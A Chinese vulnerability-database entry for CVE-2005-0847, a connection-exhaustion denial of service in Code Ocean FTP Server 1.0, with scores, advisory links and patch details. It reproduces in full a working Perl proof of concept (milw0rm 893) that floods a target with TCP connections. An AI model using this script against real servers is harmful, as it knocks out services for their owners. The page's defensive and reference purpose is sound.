CVE-2005-0847
CVSS5.0
发布时间 :2005-05-02 00:00:00
修订时间 :2008-09-10 15:37:14
NMCOES    

[原文]Code Ocean FTP server 1.0 allows remote attackers to cause a denial of service via a large number of connections.


[CNNVD]Code Ocean Ocean FTP Server远程拒绝服务漏洞(CNNVD-200505-738)

        Code Ocean FTP server 1.0使得远程攻击者可以通过大量连接来发起拒绝服务攻击。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0847
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0847
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-738
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/19777
(PATCH)  XF  ocean-ftp-connection-dos(19777)
http://www.securityfocus.com/bid/12859
(PATCH)  BID  12859
http://secunia.com/advisories/14662
(VENDOR_ADVISORY)  SECUNIA  14662
http://milw0rm.com/exploits/893
(UNKNOWN)  MILW0RM  893

- 漏洞信息

Code Ocean Ocean FTP Server远程拒绝服务漏洞
中危 其他
2005-05-02 00:00:00 2005-10-20 00:00:00
远程  
        Code Ocean FTP server 1.0使得远程攻击者可以通过大量连接来发起拒绝服务攻击。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        Code Ocean Ocean FTP Server 1.0
        Code Ocean Ocean FTP Server 1.01
        http://download.codeocean.com/ofs.exe

- 漏洞信息 (893)

Ocean FTP Server 1.00 Denial of Service Exploit (EDBID:893)
windows dos
2005-03-21 Verified
0 GSS IT
N/A [点击下载]
#!/usr/bin/perl
###############################
# GSS-IT Research And Security Labs #
###############################
# #
# www.gssit.co.il #
# #
###############################
# Ocean FTP Server Ver 1.00 Denial Of Service POC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
 
  
use Socket;
  

if (($#ARGV) < 2)
{
print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}

print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n");


$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');


for ($i=1; $i<110; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto );
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  }
 
}

print("==> Unsuccesful <==");
exit;


sub Slp

{

 print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
 print("The Server Will Be Down For $slp Seconds\n\n");
 sleep ($slp);
 
 print("==> Killing Connections ...<==\n");
 for ($j=1; $j<110; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}

# milw0rm.com [2005-03-21]
		

- 漏洞信息

14916
Ocean FTP Server Connection Saturation DoS
Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-03-21 Unknow
2005-03-21 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Code Ocean Ocean FTP Server Remote Denial of Service Vulnerability
Failure to Handle Exceptional Conditions 12859
Yes No
2005-03-21 12:00:00 2009-07-12 10:56:00
Discovery is credited to GSS IT <gss_it@yahoo.com>.

- 受影响的程序版本

Code Ocean Ocean FTP Server 1.0
Code Ocean Ocean FTP Server 1.0 1

- 不受影响的程序版本

Code Ocean Ocean FTP Server 1.0 1

- 漏洞讨论

Ocean FTP Server is reported prone to a remote denial of service vulnerability.

It is reported that an attacker may cause the server to crash by establishing an excessive number of simultaneous connections. This may result in a crash or hang due to resource exhaustion.

Ocean FTP Server 1.0 is reported vulnerable. It is possible that other versions are affected as well.

- 漏洞利用

An exploit is not required to leverage this issue.

The following proof of concept is available:

- 解决方案

The vendor has released Ocean FTP Server 1.01 to address this issue.


Code Ocean Ocean FTP Server 1.0

- 相关参考

 

 

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